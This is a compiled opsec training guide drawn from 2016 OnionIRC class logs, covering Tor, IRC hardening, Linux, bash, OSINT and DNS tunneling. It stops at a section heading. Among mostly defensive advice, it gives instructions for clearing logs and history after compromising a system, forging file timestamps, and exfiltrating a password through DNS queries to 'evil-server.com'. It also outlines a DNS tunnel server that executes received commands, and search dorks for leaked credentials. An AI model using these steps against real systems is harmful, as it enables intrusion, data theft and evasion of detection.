superswan/onion-irc-opsec-guide

# Onion IRC OPSEC guide This guide is compiled from the OnionIRC class logs in `onion_irc_opsec_raw`. The original logs were live IRC lessons taught on the Onion Routing network in April and May 2016. They covered operational security, Tor, VPNs, IRC hardening, Linux basics, bash scripting, OSINT, DNS recon and tunneling, networking, nmap scanning, web application vulnerabilities, and activist opsec. This document preserves the technical content of those lessons for archival and research purposes. The raw transcript files are unchanged in the source directory. ## The basic rule You are data. Everything you say, type, carry, install, reuse, or forget to scrub can become part of a profile. Operational security is not a tool. Tor is not opsec. A VPN is not opsec. Linux is not opsec. Opsec is the habit of asking what information an action leaks, who can see it, how long it lasts, and what it can be correlated with later. The safest answer is often silence. If nobody needs to know something, do not say it. ## Threat model first Start by deciding who you are protecting yourself from. A nosy IRC user, an abusive employer, a school administrator, a local police department, and a national intelligence agency do not have the same budget or tools. Your threat model decides how much friction is worth accepting. If your risk is low, you may only need basic compartmentalization, good passwords, and Tor Browser. If your risk is high, you need separate devices, separate accounts, careful travel habits, and a willingness to avoid convenience. Ask these questions before you act: - What identity am I using right now? - What other identities can this activity be linked to? - What metadata does this action create? - Who can log it? - What happens if a friend, server admin, or service provider turns hostile? - What happens if my device is seized? The instructors emphasized that even admins of a hidden service IRC network cannot see a user's real IP address when connected through Tor. The protection ends when users leak information themselves. ## Compartmentalization Treat each online identity as a separate persona. A persona has its own accounts, handles, writing style, schedule, infrastructure, and purpose. The more two personas overlap, the easier they are to connect. Do not reuse handles. A unique handle feels cool until someone can search it and collect years of posts, paste links, chat logs, code commits, and screenshots. Boring names are harder to search. Common words are harder to correlate. Do not mix personal and operational accounts. Do not register an IRC nick with your real email. Do not use the same recovery email, phone number, avatar, writing sample, profile bio, or favorite phrase across identities. Your behavior also links personas. Login times, sleep schedules, holidays, slang, punctuation, spelling mistakes, favorite topics, and typing rhythm all create patterns. If one identity disappears and another appears with the same quirks, people notice. The instructors gave a concrete example: one person maintained three simultaneous IRC connections so he could phase out one nick and bring in another without suspicion, but his typing pattern gave him away every time. He put spaces around his punctuation, like this . No one else in the channel typed that way. ## Need to know The old intelligence rule applies: need to know. If someone does not need a detail to do their part, do not give it to them. This includes people you trust. Trust does not survive pressure reliably. People flip, panic, brag, get compromised, get arrested, or make dumb mistakes. A friend who knows nothing cannot reveal much. Do not share: - Your real name - Your age - Your country, region, city, school, workplace, or timezone - Your local weather - Your daily schedule - Your family details - Your phone number or personal email - Photos with faces, rooms, windows, reflections, documents, or location clues - Screenshots that show usernames, IP addresses, paths, hostnames, browser tabs, or terminal prompts If someone presses you for personal detail, treat the question itself as information. They may be curious. They may be profiling you. Either way, you do not owe them an answer. ## Metadata matters Metadata is information about information. It often matters more than content because it is easier to collect, store, and correlate. Examples: - When you connect and disconnect - Who you talk to - What channels you share - What device or client you use - What timezone your client reports - What nicknames you have used and when you changed them - What files you send - What EXIF data is inside an image - What IP address hits a server - What DNS requests leave your machine A single detail may not identify you. A hundred weak details can. The instructors used the artist Banksy as an example of metadata correlation. Researchers tracked his movements by connecting the locations of his paintings with travel patterns, which eventually led them to Robin Gunningham. They did not need a confession. They needed enough time, place, and movement data to draw a line. ## Phones are tracking devices A phone is a sensor package with a radio attached. It talks to cell towers, WiFi access points, Bluetooth devices, app servers, notification services, and location APIs. Even when you do not actively use it, it can create location and association records. Cell tower triangulation can place a phone within about 100 feet on 3G. GPS is accurate to about 1 foot. WiFi routers around the phone are also logged by signal strength, partly to save battery. All of this data is stored and cross-referenced. If you are meeting people for sensitive work, do not all bring phones to the meeting. If you must carry one, assume it can place you near other people carrying phones. Airplane mode is not a strong security boundary. If you need a phone not to communicate, power it off and remove the battery if the design allows that. A Faraday bag can help, but test it before relying on it. Do not post in real time from events, protests, meetings, hotels, airports, or routes. Delayed posting is safer than live posting. No posting is safer than delayed posting. ## Tor basics Tor routes traffic through several relays so the destination does not see your real IP address. Within Tor, onion services also hide the server location. That is why onion IRC networks and `.onion` sites can be useful. Tor was originally developed by the Naval Research Laboratory. The concept was federal, but the developers and node operators are independent. Each server in the Tor network is called a node. There are entry nodes, middle relays, and exit nodes. Entry nodes do not know the destination of your traffic. Exit nodes see the final destination but do not know who you are. As long as you remain inside the Tor network, traffic is end-to-end encrypted. If you leave the Tor network to the clearnet, the exit node can see unencrypted traffic. Tor does not make unsafe behavior safe. The most common failures are bad opsec, browser exploitation, misconfiguration, and logging into personal accounts through the same session you use for anonymous work. Most stories about people getting caught while using Tor are stories about bad opsec, not about Tor being broken. ### The Tor Browser The Tor Browser is a modified Firefox that routes traffic through Tor. It comes with privacy extensions such as HTTPS Everywhere and NoScript. The Tor Browser is not Tor itself. It is a browser designed to use Tor. Most Tor-related compromises happen through browser vulnerabilities, not through the Tor network itself. The shared browser fingerprint is a protection: everyone using default Tor Browser looks the same. Changing settings, installing extensions, or resizing the window can make you stand out. Use the security slider when risk is high. Keep Tor Browser updated. Do not open downloaded files while connected to the internet unless you understand the risk. ### Running Tor on mobile There is no official Tor Browser for mobile. On Android, Orbot can be used to route traffic through Tor. Orbot has a beta feature for transparent Tor proxying across the entire device, but the device must be rooted for it to work properly. Orbot can be used with Andchat to connect to IRC networks over Tor from an Android device. In general, smartphones are not considered a secure platform for anonymity work. ### Tor and root Tor Browser should not be run as root. If the browser is compromised while running as root, the attacker gains full system access. Linux access controls are useless if root is handed to an attacker. ### Running Tor Browser alongside other browsers If you run Tor Browser and a clearnet browser at the same time, there are ways your ISP or anyone sniffing your traffic can correlate activity. The safest approach is to either use Tor for everything or split traffic carefully across separate identities. Transparent proxying avoids application-level leaks. ## Onion services Onion services are reachable only through Tor. They protect the client from the server and the server from the client. A user normally does not know where the server is, and the server normally does not know where the user is. This protection ends when people leak information themselves. Registering with a personal email, clicking phishing links, opening documents, reusing handles, or loading remote content can defeat the point of using Tor. Avoid clearweb gateways to onion services. They create an extra trust point and can see or alter traffic. ## Tor and HTTPS Tor encrypts traffic inside the Tor network. Once traffic exits to the normal web, the exit relay can see plaintext unless the site uses HTTPS. Use HTTPS. Treat plain HTTP over Tor as public. Exit relays can sniff it, modify it, or inject content. HTTPS does not hide the destination from the exit relay completely, but it protects the content and helps prevent tampering. On onion services, Tor already provides end-to-end encryption between the client and the onion service. TLS can still be useful for authentication and defense in depth. ## Tor plus VPN VPNs are not magic. They move trust from your ISP to the VPN provider. If the provider has your name, billing records, connection logs, or original IP address, it can become a liability. A VPN is a server or network of servers that you route all your traffic through. Your traffic is encrypted to the VPN server, and you appear to come from the VPN server's IP address. VPNs can also bypass ISP blocks imposed by governments. Paid VPNs are recommended over free VPNs. Free VPNs cost money to run; if you are not paying, your data or attention is the product. Free VPNs are more likely to cooperate with law enforcement or sell your data. Some VPN providers claim they do not log, but you are trusting their word. Read the terms of service and consider the jurisdiction the VPN operates in. Tor plus VPN can help in some cases and hurt in others. It can make Tor traffic easier to classify. It can also create a provider record tying you to activity. The Tor Project has documented guidance on this. If you use a VPN, check for DNS leaks and routing leaks. Use packet captures, leak test sites, and careful firewall rules. Do not trust the app's status icon. ## Transparent proxying Application proxy settings fail quietly. One program uses Tor, another ignores it, and a third leaks DNS. Transparent proxying reduces that risk by forcing traffic through the proxy at the system or network level. Tails and Whonix handle much of this for you. A Linux VM or live system can also be configured to route traffic through Tor using iptables rules. If you are not comfortable with firewall rules, use a purpose-built system rather than inventing your own. Transparent proxying does not make all traffic safe. Some protocols do not work well over Tor. UDP can leak if your setup is wrong. High volume scanning over Tor is abusive and unreliable. ## IRC opsec IRC is simple, old, and leaky. Your client and behavior matter. An IRC connection can expose: - Nickname - Username - Real name field - Hostname - Client version via CTCP VERSION - Local time or timezone via CTCP TIME - Channels you share, unless they are secret - Idle time - Nick changes - Join and part patterns Do not assume server admins are passive. Admins can see more than normal users. Commands like `/topic`, `/names`, and `/whois` are visible to admins. A server can log, modify, or attack clients. A friendly admin can also be compromised. Most IRC client exploits can only be executed by the admin of the server you are connected to. Connecting to a random IRC server linked by a stranger carries this risk. Do not connect to random IRC servers with your real IP address because Tor is blocked. Find another route or do not connect. ### CTCP and DCC CTCP (Client-To-Client Protocol) handles generic queries to an IRC client. DCC (Direct Client-to-Client) handles file transfers. Both can be used as part of client exploits. CTCP VERSION reveals what client and version you are running. CTCP TIME reveals your local timezone. DCC file transfer is risky and should be disabled unless specifically needed. In `irssi`: /ignore * CTCPS /ignore * DCC There is also a script called `fakectcp.pl` that lies when it receives VERSION and TIME requests, returning fake values. ### Identity fields Your IRC client broadcasts several pieces of information: - Nickname - Username - Realname - Hostname (not all clients expose this) Set these before connecting, not after. If you connect with a personal nick and then change it, the server already logged the original value. In `irssi`: /set nick /set user_name /set real_name /set hostname Or configure per network: /network add -nick nick -user user -realname name -host host NetworkName Be careful with `hostname`. If you set it to something that is not a valid hostname on your system, some networks may reject the connection. ### Nick registration and whois Do not register your nick with your real email address. The `/whois` command reveals your nick, real name, username, every non-secret channel you are in, your privileges in those channels, and how long you have been idle. Make channels secret with mode `+s` to keep them out of whois output. ### IRC clients The instructors recommended `irssi` as the primary client. `weechat`, `hexchat`, and Tor Messenger were also mentioned. Clients to avoid: `chatzilla`, `mIRC`, `xchat` (older versions of xchat broadcast the machine's real hostname with no option to override it). `irssi` on Windows was described as a different product that only resembles real `irssi`. ### Nick tracking There are `irssi` scripts and bots that track nick changes, sign-on and logout times, and speech patterns. If you are in a private message with someone, their client can track your nick changes even if you change nicks while parting and rejoining channels. ### Server modules Some IRC servers hook private messages by default. You can check what modules a server has loaded with `/module -all` and `/version` commands. ### IRC through Tor with socat Some IRC clients do not support SOCKS proxies directly. `socat` creates a local tunnel through Tor's SOCKS proxy. The command from the logs: socat TCP4-LISTEN:9999,fork SOCKS4A:localhost:onionirchubx5363.onion:6697,socksport=9050 &> /dev/null & Breakdown: - `socat` creates bidirectional tunnels between networked applications - `TCP4-LISTEN:9999,fork` tells socat to listen on port 9999 on the local machine and fork a new process for each incoming connection - `SOCKS4A:localhost:onionirchubx5363.onion:6697,socksport=9050` tells socat to use the SOCKS4A proxy running on localhost port 9050 (which is Tor) to connect to the OnionIRC server on port 6697 (SSL) - `&> /dev/null` discards all output so it does not clutter the terminal - The trailing `&` runs the command in the background Then in `irssi`: /server -ssl localhost 9999 The command does not technically need `sudo` unless you are binding to a privileged port. ### IRC bouncer An IRC bouncer (such as a shell account running a persistent IRC client) keeps your nick logged in at all times. You connect to the bouncer and disconnect from the bouncer, but your account stays online. This makes it impossible to correlate your real-world schedule with your online presence. The instructors recommended this for anyone doing risky work. ### UTC time Set your system clock to UTC regardless of where you live. Timezone exposure is a metadata leak. The instructors were emphatic about this: set your computer time to UTC. ### Metadata removal from shared files Before sharing files over IRC or anywhere else, remove identifying metadata. Images contain EXIF data including camera model, GPS coordinates, timestamps, and software version. Documents contain author names, edit history, local file paths, printer names, and timestamps. Screenshots can reveal IP addresses, hostnames, usernames, open tabs, and terminal prompts. Stripping metadata can itself be detectable. In some contexts, falsifying metadata to generic values is better than stripping it entirely. ## Public chat is public Assume public IRC channels are logged. Assume private messages can be logged by the other person. Assume server operators may see metadata and, depending on network configuration, message content. For sensitive private messages, use proper end-to-end encryption such as OTR where both clients support it. Tor Messenger has OTR built in. `irssi` and `weechat` can use OTR plugins. Do not treat an onion connection alone as a reason to say more than you should. The best IRC opsec is often lurking. When in doubt, do not talk. ## Disinformation and deflection False information can reduce the value of real information, but sloppy disinformation can also make you stand out. There are two workable styles. **Planned persona.** You choose a background and keep it consistent. This is hard. If you pretend to be from a country, you need language, timezone, politics, slang, and habits that survive conversation. This works best for short-term interactions with strangers. It breaks down over time. **Entropy-based disinfo.** You throw out large quantities of conflicting personal claims so that any notes on your behavior become useless. Even if everyone knows you are doing it, the noise devalues real signals. This requires that true and false details look indistinguishable. An example of failed disinfo: a user in the UK pretends to be American by using "z" spellings and saying "vacation" instead of "holiday", but he does not participate in conversations about US elections and talks for hours about UK politics. Anyone paying attention can tell. Deflection is useful when someone tries to bait you into defending or denying an identifying claim. A serious answer usually gives them more data. You can ignore the bait, joke, change the subject, or call out the tactic. Do not rely on disinformation to fix reckless disclosure. The cleaner option is not leaking the detail in the first place. ## Passwords and keys Use long, unique passwords. A password manager is better than memorizing weak passwords or reusing one strong password everywhere. A local encrypted password manager such as KeePass or KeePassXC was recommended in the logs. Modern alternatives are fine if you understand where the encrypted database lives, how it syncs, and what protects it. KeePass stores all passwords in a locally encrypted database that you unlock with a single master password or key file. Use a password generator. Do not invent passwords by hand for important accounts. Use SSH keys instead of password login where possible. A public key can be shared or installed on a server. The private key stays private. Protect private keys with a passphrase and do not upload them to public repositories. Disable direct root login on servers. Use a normal user with `sudo`. Remove password authentication if you can manage keys safely. ### Public-key cryptography basics Public-key cryptography uses a pair of keys: a public key and a private key. The public key can be shared with anyone. The private key must be kept secret. Anyone can encrypt a message using your public key. Only you, with the corresponding private key, can decrypt it. This is the basis of PGP encryption and SSH key-based authentication. For SSH, your public key goes on the server in `~/.ssh/authorized_keys`. Your private key stays on your local machine. When you connect, the server uses your public key to verify that you hold the matching private key. ## Encryption Encryption is only as good as the whole system around it. Strong crypto does not help if you leak the plaintext, reuse keys, install malware, or hand your password to a phishing page. Do not invent your own encryption. Public algorithms survive because specialists attack them for years. A homegrown scheme usually protects only against people less skilled than its author. Encryption was historically classified as munitions. That changed because closed-source encryption does not work. Strong encryption exists because every standard is constantly hammered and tested. When a standard breaks, it gets replaced. You cannot write encryption you are sure no one can break; you can only write encryption you personally cannot break. For disk encryption, the logs mentioned VeraCrypt, FileVault2, and dm-crypt/LUKS. TrueCrypt 7.1a was discussed as still being solid, but VeraCrypt or native full disk encryption is the better default today. Full disk encryption protects powered-off devices. It does not protect a running unlocked session. It also does not protect files you upload to cloud services. Types of encryption: RSA (asymmetric), AES (symmetric), and others. Different key sizes offer different security margins. ## Files and downloads Downloaded files are risk. They can contain malware, document macros, tracking pixels, exploits, or identifying metadata. Verify software downloads. Use GPG signatures where available, not only hashes copied from the same page as the download. The Tor Project's signature verification guide is a good model for this process. Keep software updated. Old browsers, IRC clients, PDF readers, office suites, and media players are common entry points. Remove metadata from files before sharing. Images can contain EXIF data. Documents can contain author names, edit history, local paths, printer names, and timestamps. Screenshots can reveal IP addresses, hostnames, usernames, tabs, and terminal prompts. Stripping metadata can itself be a pattern. Editing metadata to generic values may be better in some contexts, but do not overcomplicate simple cases. If a file is risky to share, consider not sharing it. Even legitimate companies have spread malware. Sony, between 2005 and 2007, shipped CDs with a rootkit that silently installed, concealed itself, reported listening habits back to Sony, and created vulnerabilities that other malware could exploit. Its stated purpose was copy protection. ## The cloud Cloud storage is someone else's computer plus a legal department. Treat it as a convenience layer, not a private vault. If you store sensitive material in cloud services, encrypt it before upload with keys the provider does not control. Understand that filenames, sizes, timestamps, account details, IP logs, and sharing relationships may still leak. ## Linux basics for opsec Linux gives you visibility and control, but it does not make you secure by itself. You still need to understand users, permissions, services, logs, package management, and networking. ### Filesystem layout - `/` - The root of the filesystem tree - `/bin` - Essential OS commands (ls, rm, cp, mv, etc.). Usually requires superuser permissions to modify. - `/boot` - Boot loader files and kernel images - `/dev` - Device files. Everything in Linux is a file. Devices appear here (e.g., `/dev/sda` for a hard drive, `/dev/lp0` for a printer). - `/etc` - System configuration files - `/home` - User home directories (Desktop, Downloads, Documents, etc.) - `/lib` - Shared libraries needed by binaries in `/bin` and `/sbin` - `/mnt` - Temporary mount point for filesystems - `/opt` - Optional software packages - `/root` - Root user's home directory - `/sbin` - System binaries (usually needs root) - `/tmp` - Temporary files - `/usr` - User system resources. Contains `/usr/bin` for most installed programs. - `/var` - Variable data, including logs in `/var/log` ### Navigation pwd # print working directory ls # list directory contents ls -l # list with permissions, ownership, size, date cd /path/to/directory # change directory cd .. # go up one directory cd ../.. # go up two directories cd ~ # go to home directory `.` means the current directory. `..` means the parent directory. ### Useful commands echo "text" # print text to stdout cat file.txt # display file contents more file.txt # page through a file less file.txt # page through a file (more features) head file.txt # show first lines tail file.txt # show last lines tail -f file.txt # follow a file in real time ### Package management (Debian/Ubuntu) sudo apt-get update # update package lists sudo apt-get upgrade # upgrade installed packages sudo apt-get install pkg # install a package sudo apt-cache search term # search for a package The Synaptic Package Manager provides a GUI for package management on Ubuntu and Debian-based distributions. Packages come from repositories (repos). You can add extra repositories, including Launchpad PPAs, but they come with risk. Third-party repos can create dependency conflicts or introduce untrusted packages. ### Permissions and ownership chmod +x script.sh # make script executable chmod 400 private-key # read-only for owner (common for SSH keys) chmod 600 private-key # read-write for owner chmod 755 script.sh # owner: rwx, group: rx, others: rx chown user:group file # change file ownership whoami # show current user id # show user and group IDs Permission values: - `r` (4) = read - `w` (2) = write - `x` (1) = execute `chmod 777` gives everyone full access. Avoid it. ### Managing processes ps aux # list all running processes top # interactive process viewer htop # improved top (may need install) kill -9 PID # forcefully kill a process by ID killall process-name # kill all processes with that name pkill process-name # kill processes by name (partial match) `killall -HUP tor` signals Tor to request a new identity. ### Network commands ifconfig # network interface configuration (deprecated, use ip) ip addr # modern alternative to ifconfig netstat -antp # all TCP connections with program names netstat -tulpn # listening ports with program names netstat -antp -c # continuous update ss -tulpn # modern netstat alternative `netstat` and `ss` show active connections and listening services. Rootkits can hide from these tools by hooking `/net/tcp` and `/net/tcp6`. ### Rootkit detection Rootkits hide by hooking existing system processes and making them lie. Because everything in Linux is a file, you can check for suspicious libraries: cat /proc/*/maps Look for libraries that should not be loaded. Rootkits like Jynx2 hook `/net/tcp` and `/net/tcp6` to hide from netstat, but they do not cover every base. If someone has a rootkit on your system, you already lost. But no malware is detection-proof. ### Finding files find / -name "*.txt" # search by name find / -name "*.txt" -user root # search by name and owner locate filename # faster search using database updatedb # update locate database ### File manipulation cp source destination # copy files mv source destination # move or rename files rm file # remove files rm -rf directory # recursively force remove (dangerous) mkdir directory # create directory touch file.txt # update timestamp or create empty file The `rm -rf /` command deletes everything on your system. Do not run it. The `touch` command updates a file's access and modification timestamps. If the file does not exist, it creates an empty one. You can set a specific timestamp with `touch -t [[CC]YY]MMDDhhmm[.ss] file.txt`, which can be useful for covering tracks. ### Viewing logs System logs are typically in `/var/log`. Common log files: - `/var/log/dmesg` or `dmesg` - kernel ring buffer messages - `/var/log/messages` - general system messages - `/var/log/auth.log` - authentication logs (Debian/Ubuntu) - `/var/log/secure` - authentication logs (RHEL/CentOS) ### Shell history Bash stores command history in `~/.bash_history`. You can scroll through it with the up arrow and search it with `Ctrl+R`. This history is valuable intelligence for anyone who gains access to your account. Clearing history: history -c unset HISTFILE unset HISTSAVE unset HISTFILESIZE unset HISTCONTROL unset HISTCMD Be aware that `history -r` can restore history from the current session's memory. Log tampering also leaves traces: intrusion detection systems monitor file integrity, and empty log files are a sign of compromise. ### Screen The `screen` command creates a persistent terminal session that survives disconnection: screen # start a new screen session Ctrl+A, D # detach from screen screen -r # reattach to screen This allows you to start `irssi` in a screen session on a remote server, detach, and reattach later to find `irssi` still running. `tmux` is a modern alternative. ### Text editors `nano` is simple and good for quick edits. `vim` is more powerful but requires learning. Neither is inherently better. `nano` is often easier for beginners, especially when editing over SSH. ## Shell redirection and pipes Shell tools become powerful when you combine them. ### Output redirection command > file.txt # send stdout to file (overwrite) command >> file.txt # send stdout to file (append) command 2> errors.txt # send stderr to file command &> file.txt # send both stdout and stderr to file command > /dev/null # discard stdout command &> /dev/null # discard all output Linux has two output streams: stdout (standard output, file descriptor 1) for normal output, and stderr (standard error, file descriptor 2) for error messages. ### Pipes The pipe character `|` sends the output of one command directly into the input of another: command1 | command2 Examples: cat file.txt | less # page through file netstat -antp | grep 443 # find connections on port 443 dmesg | grep error # find errors in kernel log cat names.txt | sort -d > alphabetical.txt # sort names alphabetically ### grep `grep` searches for lines matching a pattern: grep "pattern" file.txt # search file command | grep "pattern" # search command output grep -v "pattern" file.txt # lines NOT matching grep -o "pattern" file.txt # only matching parts grep "pattern" -r directory/ # recursive search `grep` supports regular expressions. Single-quoting the pattern enables regex matching. ### cut `cut` splits output by a delimiter and extracts fields: host www.google.com | cut -d ' ' -f4 # extract IP address `host www.google.com` returns something like "google.com has address 172.217.16.206". Cutting by space delimiter gives 4 fields; field 4 is the IP address. ### sort sort -d file.txt # dictionary order sort -n file.txt # numeric order sort -r file.txt # reverse order ### Processing command output The instructors gave an example of using `lynx` (a terminal browser) with `grep`: lynx -dump http://example.com | grep -o "http.*" | grep .ir This dumps a web page, extracts all URLs, then filters for Iranian `.ir` domains. ### Command substitution `$(command)` executes a command and substitutes its output into another command: kill -9 $(python detect_rootkit.py) If the Python script outputs a PID like 56323, the command becomes `kill -9 56323`. ## Bash scripting A shell script is a file containing commands: #!/bin/bash echo "hello" date Run it: bash script.sh Or make it executable with the shebang: chmod +x script.sh ./script.sh The shebang `#!/bin/bash` tells the system what interpreter to use. ### Variables name="anon" echo "$name" Define variables without `$`. Reference them with `$`. Special variables: - `$0` - the script name - `$1`, `$2`, etc. - command-line arguments ### Example script #!/bin/bash nmap -sT "$1" -p "$2" Run with: bash scan.sh 127.0.0.1 80 ### read echo "what site do you want to scan?" read site nmap "$site" ### Automation Automation is important for both offense and defense. Manual work is slow and error-prone. Audits, backups, log checks, file verification, and network checks should not depend on memory. The instructors mentioned that `/etc/rc.local` is a special script that runs commands at boot on many Linux systems. For learning bash, the instructors recommended `nets.ec/Bash_book`. ### Proper system administration checklist from the logs ifconfig # network interfaces chmod # file permissions chown # file ownership netstat -tulpn # listening ports netstat -antp # all connections free -m # memory usage iostat # disk I/O ionice # reduce I/O priority of a process top # process overview dmesg # kernel messages ## Logs and history Your shell history records commands in `~/.bash_history`. System logs in `/var/log` capture authentication events, service activity, and kernel messages. If you compromise a system, the first step is to clear your tracks: unset HISTFILE unset HISTSAVE unset HISTFILESIZE unset HISTCONTROL unset HISTCMD history -c To disable logging system-wide, you can replace `syslog` or `metalog` with a dummy binary that loops endlessly without doing anything. However, intrusion detection systems can detect this by checking the integrity of those binaries. For defense: remote logging and file integrity monitoring help detect tampering. Empty logs are suspicious. ## OSINT Open source intelligence is collecting information from public sources. It is usually passive or low touch. Good OSINT can answer many questions before anyone scans a target directly. Sources include: - Search engines (Google, DuckDuckGo) - DNS records - WHOIS and corporate registries - GitHub and public code repositories - Paste sites - Social media (Facebook, Instagram, Twitter) - Job ads - Public documents - Metadata in PDFs and office files - Shodan and similar internet search engines ### Google dorking Search operators refine results: site:example.com # results from that domain only site:example.com -site:www.example.com # exclude www subdomain filetype:pdf site:example.com # PDFs on that domain intitle:"SSL Report" # pages with that phrase in title intext:password filetype:log # logs containing "password" daterange:2457388-2457491 # results within date range (Julian dates) Examples from the class: site:pastebin.com intext:@gmail.com | @yahoo.com | @hotmail.com daterange:2457388-2457491 filetype:pdf intitle:"SSL Report" The `site:` operator can be combined with `-site:` to exclude parts of a domain. ### GitHub dorking GitHub's search feature has been used to find credentials, SSH keys, and configuration files pushed to public repositories. Example from the class: https://github.com/search?q=//+Visit+http://wbond.net/sublime_packages/sftp/settings+for+help&type=Code This search found about 3500 plaintext SFTP login files committed to public GitHub repositories. The files were Sublime Text SFTP plugin configurations containing server addresses, usernames, passwords, and private keys. ### Digital document analysis Tools like FOCA automatically enumerate hosts, download documents (PDFs, Office files, etc.), extract metadata, and analyze it. Metadata can reveal: - Email addresses - Usernames - Internal IP addresses - Operating system versions - Software versions (e.g., Adobe version used to create PDFs) - Author names - Network paths - Printer names ### Social media OSINT Social media platforms have APIs that can be abused to collect data. Services like `echosec.net` allow you to draw a geographic box and see Instagram posts from that area. Information from social media enables targeted spear-phishing. A message that includes a recipient's child's name, doctor's name, or recent activity is more effective because it looks legitimate. The instructors called this "knowledge is power" and warned that anything you post can be used against you or people around you. ### OSINT tools mentioned in the logs - **theHarvester** - email harvesting and DNS recon - **fierce** - DNS hostname bruteforcing with wordlists - **dnsdumpster** - online DNS recon tool - **FOCA** - metadata extraction from documents - **recon-ng** - full reconnaissance framework (similar to Metasploit but for OSINT) - **blindcrawl.pl** - Perl script for DNS enumeration - **Maltego** - mentioned but mostly dismissed as "fedware" The instructors emphasized learning manual methods before using automated tools. ## DNS for reconnaissance DNS maps names to infrastructure. Common record types: - `A` - IPv4 address - `AAAA` - IPv6 address - `NS` - nameserver delegation - `MX` - mail server - `TXT` - arbitrary text (SPF, DKIM, verification strings) - `CNAME` - canonical name (alias) - `PTR` - reverse lookup (IP to hostname) ### dig dig example.com # default A record lookup dig example.com MX # mail servers dig example.com TXT # TXT records dig example.com NS # nameservers dig -x 192.0.2.1 # reverse DNS (PTR lookup) ### nslookup nslookup example.com # default NS lookup nslookup -type=a example.com # A record nslookup -type=mx example.com # MX record ### Reverse DNS Reverse DNS lookups map IP addresses back to hostnames. This can reveal hosts you did not already know about: dig 216.58.208.142.in-addr.arpa PTR Add `.in-addr.arpa` to the IP address (in reverse octet order) and query for a PTR record. ### Zone transfers A DNS zone transfer occurs when one DNS server requests all records from another DNS server to update its copy. Properly configured servers restrict zone transfers to authorized secondary nameservers. Misconfigured servers accept them from anyone. dig axfr @nameserver.example.com example.com If the server is properly configured, you will get a "transfer failed" message. If it is not, you will receive a full dump of every DNS record for that domain, including all hostnames and IP addresses. ### Active vs passive reconnaissance DNS lookups are typically passive or low-impact. If the target hosts its own DNS server, you are touching their infrastructure, but the traffic is minimal and unlikely to trigger alarms compared to port scanning. ### Automated DNS tools - **fierce** - performs DNS hostname bruteforcing by sending random hostnames from a wordlist until the server confirms an existing hostname - **blindcrawl.pl** - enumerates common hostnames (mail, www, smtp, pop, etc.) against a domain ## DNS tunneling and detection DNS is usually allowed on restricted networks because users need name resolution to function. DNS tunneling exploits this by hiding data inside DNS queries and responses. The instructors covered this in detail in `class4b.txt`. ### How DNS tunneling works A DNS query normally asks for the IP address of a domain name. In a tunnel, the query contains encoded data in place of a normal domain name. A controlled server receives the query, extracts the data, processes it, and sends back a DNS response that also contains data. ### One-way tunnel manual example Encode a string into base32 (safe because it uses only A-Z, 2-9, and `=`): echo "The password is XXZZYY" | base32 # Output: KRUGKIDQMFZXG53POJSCA2LTEBMFQWS2LFMQU=== Send this as a DNS query: dig @evil-server.com $(cat pass.b32) +tries=1 If you sniff the network with `tcpdump`, you will see something like: myhost.42737 > evil-server.com.domain: 26111+ [1au] TXT? KRUGKIDQMFZXG53POJSCA2LTEBMFQWS2LFMQU===. (69) This looks like a legitimate DNS request on the wire. ### Testing locally # Terminal 1: listen on UDP port 53 ncat -l -p 53 --udp # Terminal 2: send the query dig @127.0.0.1 $(cat pass.b32) +tries=1 The request appears in `ncat` as binary data (DNS headers) followed by the encoded string. ### Two-way tunnel For two-way communication, you need a custom DNS server. When it receives a nonsense DNS request, it sends back a valid-looking DNS response containing arbitrary data. For example: - Client sends a DNS query like `uname -a.evil-server.com` - Server receives the query, extracts `uname -a`, executes the command, and sends the output back in a TXT record response ### Python DNS tunnel server (using dnslib) Basic server skeleton from the class: from dnslib import * import socket # Create UDP socket on port 53 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.bind(("", 53)) packet, addr = s.recvfrom(1024) dnsreq = DNSRecord.parse(packet) qname = str(dnsreq.q.qname) id = dnsreq.header.id # Build response response = DNSRecord(q=DNSQuestion(qname, QTYPE.TXT)) response.header.id = id response.add_answer(RR(qname, QTYPE.TXT, rdata=TXT("your data here"), ttl=60)) s.sendto(response.pack(), addr) Key points: - DNS labels are limited to 64 bytes - TXT records can hold 255 bytes of ASCII data - You can have multiple TXT records - For large data transfers, fragment across multiple queries - The protocol is plaintext; add encryption on top for sensitive data ### Existing DNS tunneling tools - **dns2tcp** - established DNS tunneling tool - **dnscat** - simple DNS tunnel with shell and file transfer The instructors recommended writing your own tunnel in Python using the `socket` and `dnslib` modules rather than relying on downloaded tools. ### Defensive signals - Long, random-looking subdomains - Heavy TXT record use from normal workstations - Repeated lookups to domains that do not match normal activity - Failed lookups in large numbers - Queries to newly registered domains - DNS traffic bypassing approved resolvers ### Defensive controls - Force clients through approved internal resolvers - Block direct outbound DNS (UDP 53) from workstations - Log DNS queries with enough retention to spot patterns - Alert on long labels and high-volume TXT lookups - Monitor for DNS over HTTPS - Treat DNS logs as sensitive ## Network basics A network lets devices share resources. A LAN is a local area network. A WLAN is a wireless local area network. A WAN spans larger distances. ### OSI and TCP/IP models The TCP/IP model layers: - **Application layer**: protocols that applications use directly (HTTP, DNS, SSH, SMTP, IMAP, TLS, FTP, DHCP, etc.) - **Transport layer**: manages end-to-end communication (TCP, UDP, DCCP, SCTP) - **Internet layer**: handles addressing and routing (IP, ICMP, IGMP, IPsec) - **Link/Hardware layer**: physical network access (ARP, Ethernet, WiFi, DSL, PPP) ### TCP TCP is connection-oriented. It establishes a connection before data transfers: 1. **SYN**: Client sends a SYN packet with a random sequence number A 2. **SYN-ACK**: Server responds with SYN-ACK, acknowledging A+1 and sending its own random sequence number B 3. **ACK**: Client sends ACK acknowledging B+1 After this three-way handshake, full-duplex communication is established. TCP handles retransmission of dropped or garbled packets, acknowledges all arriving packets, and manages flow control. ### UDP UDP is connectionless. It sends datagrams without session setup or acknowledgment. This makes it faster but less reliable, and suitable for DNS, streaming, and other protocols where speed matters more than guaranteed delivery. ### Ports Ports identify services on a host. There are 65535 ports. Well-known examples: - 20, 21: FTP - 22: SSH - 23: Telnet - 25: SMTP - 53: DNS - 80: HTTP - 443: HTTPS These are conventions, not requirements. A service can run on any port. ### ARP ARP (Address Resolution Protocol) maps IP addresses to MAC (physical) addresses on a local network. When a machine wants to communicate with another machine on the same LAN, it sends an ARP request asking "who has IP X?" The machine with that IP responds with its MAC address. ARP has no authentication built in. Any machine on the local network can send spoofed ARP replies, claiming to be another machine. This is the basis of ARP poisoning (also called ARP spoofing), where an attacker intercepts traffic intended for another host by associating their MAC address with the target's IP address. ## Scanning and noise Scanning answers questions about hosts and services. 